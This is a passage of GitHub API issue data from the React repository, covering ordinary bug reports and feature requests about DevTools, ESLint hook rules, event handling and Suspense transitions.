"labels": { "0": { "id": 40929151, "node_id": "MDU6TGFiZWw0MDkyOTE1MQ==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug", "name": "Type: Bug", "color": "b60205", "default": false, "description": null }, "1": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" }, "2": { "id": 710573595, "node_id": "MDU6TGFiZWw3MTA1NzM1OTU=", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20Developer%20Tools", "name": "Component: Developer Tools", "color": "fbca04", "default": false, "description": null } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 24, "created_at": "2022-10-04T15:31:21Z", "updated_at": "2025-08-13T08:10:35Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "### Website or app\n\nN/A\n\n### Repro steps\n\nWhen profiling a complex, proprietary app, I regularly get an error message, \"Message length exceeded maximum allowed length.\"\r\n\r\nSteps to reproduce:\r\n\r\n1. Within the Dev Tools, go to the Profiler tab.\r\n2. Click the \"Start Profiling\" button.\r\n3. Let the app run for a bit. Do some things in the app.\r\n4. Click the \"Stop Profiling\" (\"record\") button.\r\n\r\nAt this point, the Chrome Dev Tools console logs an error:\r\n\r\n```\r\ncontentScript.js:116 Uncaught Error: Message length exceeded maximum allowed length.\r\n at handleMessageFromPage (contentScript.js:116:10)\r\n```\r\n\r\nAnd the Profiler tab is stuck with the message, \"Processing data... This should only take a minute.\"\r\n\r\nThe error is thrown from https://github.com/facebook/react/blob/64fe791be84ad04a4a1d005376ba5cf5701db9b7/packages/react-devtools-extensions/src/contentScript.js#L36\r\n\r\nThe last time this occurred, when breaking on exceptions at that line, `JSON.stringify(event.data.payload).length` reports 92074565. I can provide further information on the contents of the problematic `event.data.payload` if that would be helpful.\r\n\r\nI apologize for the lack of a reproducible test case - it's a complex app (which is why I was looking into profiling), and I don't think I could simplify it down to a public test case while triggering the error.\n\n### How often does this bug happen?\n\nOften\n\n### DevTools package (automated)\n\n_No response_\n\n### DevTools version (automated)\n\n_No response_\n\n### Error message (automated)\n\n_No response_\n\n### Error call stack (automated)\n\n_No response_\n\n### Error component stack (automated)\n\n_No response_\n\n### GitHub query string (automated)\n\n_No response_", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/25415/reactions", "total_count": 31, "+1": 31, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/25379", "id": 1393633204, "node_id": "I_kwDOAJy2Ks5TESe0", "number": 25379, "title": "eslint-plugin-react-hooks: lint rule to enforce that `useMemo` returns a value", "user": { "login": "JoshuaKGoldberg", "id": 3335181, "node_id": "MDQ6VXNlcjMzMzUxODE=", "avatar_url": "https://avatars.githubusercontent.com/u/3335181?v=4", "gravatar_id": "", "url": "https://api.github.com/users/JoshuaKGoldberg", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 121709921, "node_id": "MDU6TGFiZWwxMjE3MDk5MjE=", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Feature%20Request", "name": "Type: Feature Request", "color": "c7def8", "default": false, "description": null }, "1": { "id": 1249821345, "node_id": "MDU6TGFiZWwxMjQ5ODIxMzQ1", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20ESLint%20Rules", "name": "Component: ESLint Rules", "color": "f7afdb", "default": false, "description": "" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 9, "created_at": "2022-10-02T04:01:58Z", "updated_at": "2025-10-08T15:08:30Z", "closed_at": null, "assignee": null, "author_association": "CONTRIBUTOR", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "Nothing prevents developers from calling `useMemo` without a `return`:\r\n\r\n```ts\r\nimport { useMemo } from \"react\";\r\n\r\nuseMemo(() => {\r\n console.log(\"Yippee!\");\r\n}, []);\r\n```\r\n\r\n[[TypeScript playground showing no errors](https://www.typescriptlang.org/play?#code/JYWwDg9gTgLgBAbzgVwM4FMCy6QTgXzgDMoIQ4AiKdAQwGMYKBuAWACh20scIAKXgJRwAvAD5E7OFLh0IAO1QQANugB0SiAHNeFAJrAwYdOgCEFAazb4ANHADaAXQtA)]\r\n\r\nCalling `useMemo` without a returned value is somewhat equivalent to calling `useEffect` without a returned value. Judging by the few times I've seen it happen, it's likely a case of a developer either confusing the two hooks or forgetting to `return` the memoized value.\r\n\r\nSuggestion: can we add a lint rule to flag `useMemo` calls that don't definitely return a value? It could have a _suggestion_ fixer to switch to `useEffect`.", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/25379/reactions", "total_count": 3, "+1": 3, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/25367", "id": 1392629409, "node_id": "I_kwDOAJy2Ks5TAdah", "number": 25367, "title": "[DevTools Bug]: DevTools causes hook callback behavior inconstency", "user": { "login": "nhusher", "id": 376978, "node_id": "MDQ6VXNlcjM3Njk3OA==", "avatar_url": "https://avatars.githubusercontent.com/u/376978?v=4", "gravatar_id": "", "url": "https://api.github.com/users/nhusher", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929151, "node_id": "MDU6TGFiZWw0MDkyOTE1MQ==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug", "name": "Type: Bug", "color": "b60205", "default": false, "description": null }, "1": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" }, "2": { "id": 710573595, "node_id": "MDU6TGFiZWw3MTA1NzM1OTU=", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20Developer%20Tools", "name": "Component: Developer Tools", "color": "fbca04", "default": false, "description": null } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 1, "created_at": "2022-09-30T15:42:26Z", "updated_at": "2023-02-06T15:55:08Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "### Website or app\n\nhttps://gist.github.com/nhusher/33981014bb69318ead012c11a73eff52\n\n### Repro steps\n\nEither clone the gist and run with static-server, or check out [this equivalent codesandbox link](https://5lu8ks.csb.app/) (Full sandbox IDE [here](https://codesandbox.io/s/new-snowflake-5lu8ks?file=/src/index.tsx))\r\n\r\n1. Have React devtools installed \r\n2. Visit the URL indicated by static-server\r\n3. Click both increment buttons, ensuring that they work\r\n4. Open the developer tools\r\n5. Navigate to the DevTools Component tree and highlight ``\r\n6. Click both the increment buttons\r\n7. Observe that the normal in-React increment button works\r\n8. Observe that the \"increment (outside react)\" button no longer works\r\n\r\nVerification of the issue:\r\n\r\n1. Open an incognito window\r\n2. Visit the URL indicated by static-server\r\n3. Click the two buttons and verify that both work\r\n4. Open the developer tools (no React Devtools available)\r\n5. Verify the two buttons continue to work\n\n### How often does this bug happen?\n\nEvery time\n\n### DevTools package (automated)\n\n_No response_\n\n### DevTools version (automated)\n\n_No response_\n\n### Error message (automated)\n\n_No response_\n\n### Error call stack (automated)\n\n_No response_\n\n### Error component stack (automated)\n\n_No response_\n\n### GitHub query string (automated)\n\n_No response_", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/25367/reactions", "total_count": 0, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/25282", "id": 1376200589, "node_id": "I_kwDOAJy2Ks5SByeN", "number": 25282, "title": "Bug: onChange handler is lost between re-renders", "user": { "login": "subha84", "id": 15195102, "node_id": "MDQ6VXNlcjE1MTk1MTAy", "avatar_url": "https://avatars.githubusercontent.com/u/15195102?v=4", "gravatar_id": "", "url": "https://api.github.com/users/subha84", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 127893911, "node_id": "MDU6TGFiZWwxMjc4OTM5MTE=", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20DOM", "name": "Component: DOM", "color": "fef2c0", "default": false, "description": null }, "1": { "id": 710722093, "node_id": "MDU6TGFiZWw3MTA3MjIwOTM=", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Needs%20Investigation", "name": "Type: Needs Investigation", "color": "65AA9C", "default": false, "description": "" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 13, "created_at": "2022-09-16T17:06:45Z", "updated_at": "2022-10-31T13:18:01Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "\r\n\r\n\r\nReact version: 18\r\nIn our application, we have a checkbox and a button on a page. The button opens a popup which in turn attaches a onClick event of type capture at body level.\r\nNow, when we click on the checkbox we observed the onChange handler never gets a chance to execute.\r\n\r\n## Steps To Reproduce\r\n1. Click on the button to open a popup.\r\n2. popup attaches a click handler at body level. This event is of type 'capture' to close the popup whenever some random click happens anywhere on the page. \r\n3. Now, if we click on the checkbox the body level click event is executed before the checkbox's onChange event.\r\n4. This click event in turn updates some state, which causes re-render of the checkbox component.\r\n5. popup is closed.\r\n6. The onChange event attached with the checkbox never got a chance to be executed. It is lost somewhere.\r\n\r\n[Link to code example:](https://codesandbox.io/s/cocky-moon-2tr7e8?file=/src/App.js)\r\n\r\n## The current behavior\r\nThe checkbox remains either checked or unchecked.\r\n\r\n## The expected behavior\r\nThe checkbox should get checked and unchecked with every other click.", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/25282/reactions", "total_count": 0, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/25262", "id": 1372509654, "node_id": "I_kwDOAJy2Ks5RztXW", "number": 25262, "title": "[DevTools Bug]: Labels are cut off on Firefox on Linux (Fedora 36)", "user": { "login": "josefvn", "id": 612695, "node_id": "MDQ6VXNlcjYxMjY5NQ==", "avatar_url": "https://avatars.githubusercontent.com/u/612695?v=4", "gravatar_id": "", "url": "https://api.github.com/users/josefvn", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929151, "node_id": "MDU6TGFiZWw0MDkyOTE1MQ==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug", "name": "Type: Bug", "color": "b60205", "default": false, "description": null }, "1": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" }, "2": { "id": 710573595, "node_id": "MDU6TGFiZWw3MTA1NzM1OTU=", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20Developer%20Tools", "name": "Component: Developer Tools", "color": "fbca04", "default": false, "description": null } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 2, "created_at": "2022-09-14T07:38:20Z", "updated_at": "2024-06-27T13:23:54Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "### Website or app\r\n\r\nhttps://codesandbox.io/s/hopeful-fog-nxqwgw\r\n\r\n### Repro steps\r\n\r\nWhen using React DevTools on **Firefox 104.0.1 (64-bit)** on **Linux (Fedora 36 with Gnome Desktop 42)** the key labels on the right hand pane are cut off. See screenshot. I'm guessing this is likely because of fonts being used on Linux are different from Windows and macOS. I haven't noticed this problem in Chrome at all, and I don't think it happens on Windows and macOS.\r\n\r\nThis only happens to editable orange/keys in the props panel, when the keys are black/read only, they render just fine.\r\n\r\nI also noticed that React devtools doesn't honor the Firefox advanced font settings like the rest of devtools does. Having the ability to select a different browser monospace font will allow for a workaround to this issue.\r\n\r\n![Screenshot from 2022-09-14 09-33-08](https://user-images.githubusercontent.com/612695/190090608-602bd0d8-3557-492e-a2d9-59b16372f522.png)\r\n\r\n\r\n### How often does this bug happen?\r\n\r\nEvery time\r\n\r\n### DevTools package (automated)\r\n\r\n_No response_\r\n\r\n### DevTools version (automated)\r\n\r\n_No response_\r\n\r\n### Error message (automated)\r\n\r\n_No response_\r\n\r\n### Error call stack (automated)\r\n\r\n_No response_\r\n\r\n### Error component stack (automated)\r\n\r\n_No response_\r\n\r\n### GitHub query string (automated)\r\n\r\n_No response_", "closed_by": { "login": "github-actions[bot]", "id": 41898282, "node_id": "MDM6Qm90NDE4OTgyODI=", "avatar_url": "https://avatars.githubusercontent.com/in/15368?v=4", "gravatar_id": "", "url": "https://api.github.com/users/github-actions%5Bbot%5D", "type": "Bot", "user_view_type": "public", "site_admin": false }, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/25262/reactions", "total_count": 0, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": "reopened", "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/25178", "id": 1360617091, "node_id": "I_kwDOAJy2Ks5RGV6D", "number": 25178, "title": "[DevTools Bug]: useSyncExternalStore adds 1 to subsequent hook's number in Profiler", "user": { "login": "AlexTalis", "id": 1012600, "node_id": "MDQ6VXNlcjEwMTI2MDA=", "avatar_url": "https://avatars.githubusercontent.com/u/1012600?v=4", "gravatar_id": "", "url": "https://api.github.com/users/AlexTalis", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929151, "node_id": "MDU6TGFiZWw0MDkyOTE1MQ==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug", "name": "Type: Bug", "color": "b60205", "default": false, "description": null }, "1": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" }, "2": { "id": 710573595, "node_id": "MDU6TGFiZWw3MTA1NzM1OTU=", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20Developer%20Tools", "name": "Component: Developer Tools", "color": "fbca04", "default": false, "description": null } }, "state": "open", "locked": false, "assignees": { "0": { "login": "hoxyq", "id": 28902667, "node_id": "MDQ6VXNlcjI4OTAyNjY3", "avatar_url": "https://avatars.githubusercontent.com/u/28902667?v=4", "gravatar_id": "", "url": "https://api.github.com/users/hoxyq", "type": "User", "user_view_type": "public", "site_admin": false } }, "milestone": null, "comments": 6, "created_at": "2022-09-02T21:14:12Z", "updated_at": "2025-02-11T17:35:08Z", "closed_at": null, "assignee": { "login": "hoxyq", "id": 28902667, "node_id": "MDQ6VXNlcjI4OTAyNjY3", "avatar_url": "https://avatars.githubusercontent.com/u/28902667?v=4", "gravatar_id": "", "url": "https://api.github.com/users/hoxyq", "type": "User", "user_view_type": "public", "site_admin": false }, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "### Website or app\n\nhttps://codesandbox.io/s/sweet-fast-huvy9e?file=/src/App.tsx\n\n### Repro steps\n\n1. Open the sandbox in Google Chrome. Notice that the App component in App.tsx calls useSyncExternalStore, followed by useState. Lastly, it has an effect that simply toggles the state value every second so that it's easy to profile state changes without interacting with the UI.\r\n2. Open the rendered page in a new window and inspect it in Chrome DevTools.\r\n3. Open Components tab, select the App component, and notice that useState hook is `#2`. ![image](https://user-images.githubusercontent.com/1012600/188234380-2d4a5dee-3aa5-46ae-b919-f3cbe276d741.png)\r\n4. Switch to Profiler tab and profile the page for a couple of seconds.\r\n5. Notice that \"Why did this render?\" section says \"Hook **3** changed\". The number should be 2. ![image](https://user-images.githubusercontent.com/1012600/188236070-103563ca-ae0c-45b1-af58-c397fced98c4.png)\n\n### How often does this bug happen?\n\nEvery time\n\n### DevTools package (automated)\n\n_No response_\n\n### DevTools version (automated)\n\n_No response_\n\n### Error message (automated)\n\n_No response_\n\n### Error call stack (automated)\n\n_No response_\n\n### Error component stack (automated)\n\n_No response_\n\n### GitHub query string (automated)\n\n_No response_", "closed_by": { "login": "lunaruan", "id": 2735514, "node_id": "MDQ6VXNlcjI3MzU1MTQ=", "avatar_url": "https://avatars.githubusercontent.com/u/2735514?v=4", "gravatar_id": "", "url": "https://api.github.com/users/lunaruan", "type": "User", "user_view_type": "public", "site_admin": false }, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/25178/reactions", "total_count": 1, "+1": 1, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": "reopened", "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/25149", "id": 1352934429, "node_id": "I_kwDOAJy2Ks5QpCQd", "number": 25149, "title": "Bug: react-hooks/exhaustive-deps false positive when use function with generic type variable in useEffect", "user": { "login": "RThong", "id": 19247932, "node_id": "MDQ6VXNlcjE5MjQ3OTMy", "avatar_url": "https://avatars.githubusercontent.com/u/19247932?v=4", "gravatar_id": "", "url": "https://api.github.com/users/RThong", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929151, "node_id": "MDU6TGFiZWw0MDkyOTE1MQ==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug", "name": "Type: Bug", "color": "b60205", "default": false, "description": null }, "1": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" }, "2": { "id": 1249821345, "node_id": "MDU6TGFiZWwxMjQ5ODIxMzQ1", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20ESLint%20Rules", "name": "Component: ESLint Rules", "color": "f7afdb", "default": false, "description": "" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 4, "created_at": "2022-08-27T04:07:01Z", "updated_at": "2023-02-06T18:29:54Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "\r\n\r\nReact version: 18.2.0\r\n\r\n## Steps To Reproduce\r\n\r\n1. use function with generic type in useEffect\r\n\r\ncode example:\r\n```ts\r\nfunction useBug(val: T) {\r\n const ref = useRef(val)\r\n\r\n const fn = () => {\r\n const temp: T = ref.current // <-- if remove the generic type will be ok\r\n }\r\n\r\n useEffect(() => {\r\n fn()\r\n }, []) // <-- ESLint error: React Hook useEffect has a missing dependency: 'fn'.\r\n}\r\n```\r\n\r\npackage version:\r\n```\r\nnpmPackages:\r\n @typescript-eslint/eslint-plugin: ^5.35.1 => 5.35.1 \r\n @typescript-eslint/parser: ^5.35.1 => 5.35.1 \r\n @typescript-eslint/scope-manager: 5.35.1 \r\n @typescript-eslint/type-utils: 5.35.1 \r\n @typescript-eslint/types: 5.35.1 \r\n @typescript-eslint/typescript-estree: 5.35.1 \r\n @typescript-eslint/utils: 5.35.1 \r\n @typescript-eslint/visitor-keys: 5.35.1 \r\n eslint: ^8.23.0 => 8.23.0 \r\n eslint-plugin-react-hooks: ^4.6.0 => 4.6.0 \r\n```\r\n\r\nrelevant: [#20395](https://github.com/facebook/react/issues/20395)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n## The current behavior\r\n```\r\nReact Hook useEffect has a missing dependency: 'fn'. Either include it or remove the dependency array.\r\n```\r\n\r\n## The expected behavior\r\n\r\nNo missing dependencies reported.\r\n", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/25149/reactions", "total_count": 1, "+1": 1, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/25082", "id": 1335944522, "node_id": "I_kwDOAJy2Ks5PoOVK", "number": 25082, "title": "useTransition should optionally also consider nested suspense boundaries", "user": { "login": "reneeichhorn", "id": 9060023, "node_id": "MDQ6VXNlcjkwNjAwMjM=", "avatar_url": "https://avatars.githubusercontent.com/u/9060023?v=4", "gravatar_id": "", "url": "https://api.github.com/users/reneeichhorn", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 710375792, "node_id": "MDU6TGFiZWw3MTAzNzU3OTI=", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Discussion", "name": "Type: Discussion", "color": "fef2c0", "default": false, "description": null }, "1": { "id": 1109407645, "node_id": "MDU6TGFiZWwxMTA5NDA3NjQ1", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20Suspense", "name": "Component: Suspense", "color": "8ffcd6", "default": false, "description": "" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 11, "created_at": "2022-08-11T13:14:19Z", "updated_at": "2025-05-20T09:49:56Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "React version: 18.2.0\r\n\r\n## Background\r\nWe are working on a web framework that can be used to build highly personalized and data-driven applications. A page that is rendered by the framework consists of a tree of composable, declarative and self-sufficient widgets. A widget can be seen as a mini-application that specifies its own data dependencies and behavior. Since the widgets are self-sufficient, it gives us lots of flexibility to choose which widgets should be shown on page and how they are arranged. It allows us to have personalized pages or layouts per user depending on certain criteria, e.g. their browsing history. The way widgets are chosen to be displayed on the page can be seen as a dynamic, nested routing mechanism.\r\n\r\nHere is an example of an outfit view that can be used in an ecommerce application:\r\n![showing the structure of an example page with above described concept](https://img01.ztat.net/engineering-blog/posts/2021/09/images/rengine-outfit-page.png)\r\n\r\nWe are currently migrating the framework to React 18 with the new Suspense SSR and streaming architecture. The main idea is that we wrap each widget in its own suspense boundary to handle the loading of their code and data as soon as the framework decides to display it on the page. For initial requests it works well, but we face a problem with client-side updates that lead to new sub-tree of widgets.\r\n\r\n\r\n## Steps to Reproduce\r\nHere is a link to a code sandbox that contains a minimal code example to reproduce the problem with “new” suspense boundaries and useTransition: https://codesandbox.io/s/romantic-haslett-psc4f4?file=/src/App.js\r\n\r\n\r\n## Current Behavior\r\n\r\nuseTransition waits for the first Suspense boundary to be ready and then re-renders the DOM although nested Suspense boundaries are still in their fallback state. It is similar to the problem that has been reported in [this issue](https://github.com/facebook/react/issues/24759).\r\n\r\nIn our code example, you can see a big loading overlay after clicking the button to fetch a new collection of widgets. Fetching a new collection of widgets means the following: determine which widgets should be displayed on the page and start loading their code and data. In a real application, this would be data-driven. In the code example, it has been simplified to randomly select a Square or Circle widget and lazy-load them via React.lazy().\r\n\r\n\r\n## Expected Behavior\r\n\r\nYou have suggested [two approaches](https://github.com/facebook/react/issues/24759#issuecomment-1160605913) to overcome the issue which do not work well for us. \r\n\r\n> Why is it a problem that moving to a page shows the spinners? Is it because there are many of them?\r\n\r\nYes, in general there are many widgets and it might change to completely new page layouts. But the type of all widgets could also be the same as before the state update. Then it would be odd if the user first sees a big loading overlay for the whole page and when the new tree of widgets has been determined (which is the same as before, just the data changed), they will see individual loading spinners for each “new” widget.\r\n\r\n> In that case, move the Suspense boundaries from individual dashboard items widgets to wrap all of them.\r\n\r\nThis seems to be impossible for us. A page consists of a tree of widgets. A widget can contain other widgets and each widget can trigger a state update. If a widget triggers a state update, it normally requests some data from backend services and that data determines which child widgets should then be displayed. These child widgets could have their own data dependencies and could again render other widgets, and so on. The whole code is very generic.\r\n\r\nOur proposal is that useTransition should have an option to wait for the entire subtree to be ready, before re-rendering the component. In our use case, the widget of which the state should be updated, would use startTransition with some new flag that will additionally wait for the whole widget’s subtree to complete as well.", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/25082/reactions", "total_count": 10, "+1": 10, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/25040", "id": 1328626249, "node_id": "I_kwDOAJy2Ks5PMTpJ", "number": 25040, "title": "[DevTools]: More compact rendering of deeply nested component trees when there is a single child", "user": { "login": "vjpr", "id": 281413, "node_id": "MDQ6VXNlcjI4MTQxMw==", "avatar_url": "https://avatars.githubusercontent.com/u/281413?v=4", "gravatar_id": "", "url": "https://api.github.com/users/vjpr", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 121709921, "node_id": "MDU6TGFiZWwxMjE3MDk5MjE=", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Feature%20Request", "name": "Type: Feature Request", "color": "c7def8", "default": false, "description": null }, "1": { "id": 710573595, "node_id": "MDU6TGFiZWw3MTA1NzM1OTU=", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20Developer%20Tools", "name": "Component: Developer Tools", "color": "fbca04", "default": false, "description": null } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 1, "created_at": "2022-08-04T13:24:07Z", "updated_at": "2022-08-17T21:04:25Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "On Reddit.com:\r\n\r\n![Screen Shot 2022-08-04 at 2 43 29 pm](https://user-images.githubusercontent.com/281413/182850866-ce57cfdc-1f6c-4c72-b149-802d57fc05cb.png)\r\n\r\nIt's a very common pattern in React to have deep chains of components with only one single child.\r\n\r\n# Options\r\n\r\n## a. VSCode style\r\n\r\nThis problem is also enountered in Java project trees. \r\n\r\nVSCode does it like this:\r\n\r\n![image](https://user-images.githubusercontent.com/281413/182853632-ba1a9e91-6b78-46fb-beba-edea860b3a44.png)\r\n\r\nhttps://github.com/microsoft/vscode-docs/blob/vnext/release-notes/v1_41.md#compact-folders-in-explorer\r\n\r\nIntelliJ similar.\r\n\r\nMaybe we could do the same as VSCode?\r\n\r\n## b. No indent for single child\r\n\r\nAnother approach would be to just not indent when there is only one child.\r\n\r\n```\r\n h\r\n Context.Provider - {props: {foo: 1}}\r\n I\r\n Context.Provider\r\n E\r\n Context.Provider\r\n Context.Provider\r\n Context.Provider\r\n l\r\n- Context.Provider (2 children - collapse all)\r\n\r\n mg\r\n d\r\n Context.Provider\r\n + Component (1 child - expand all)\r\n\r\n vg\r\n hg\r\n Context.Provider\r\n + hg (1 child - expand all)\r\n\r\n```\r\n\r\nWe could also indicate when there are multiple children and provide some controls to collapse all the children's children. This would help with https://github.com/facebook/react/issues/16463.\r\n\r\nAdvantage: As another feature I'd also be interested in adding some inline annotations to the right of each component to show some props to better identify components. Moving these nested trees horizontal would block this ability, so this approach works better.\r\n\r\nDesign decision: Where to place the arrow to toggle folding? At the first element with multiple children (indicated above)? Or at the top. Or maybe we can create a really tall button on hover to show.\r\n\r\nDesign decision: How to clearly and visually deliniate that the components are nested vs siblings. Maybe we need to add an extra space (as shown in example above). Maybe color coding as well. Or alternate grey shading.\r\n\r\n# Related\r\n\r\n- https://github.com/facebook/react/issues/16463\r\n- https://github.com/facebook/react/issues/16735\r\n\r\n\r\n", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/25040/reactions", "total_count": 1, "+1": 0, "-1": 0, "laugh": 0, "hooray": 1, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/25038", "id": 1328140635, "node_id": "I_kwDOAJy2Ks5PKdFb", "number": 25038, "title": "Bug: hydration mismatch in top component does not cause client-render fallback", 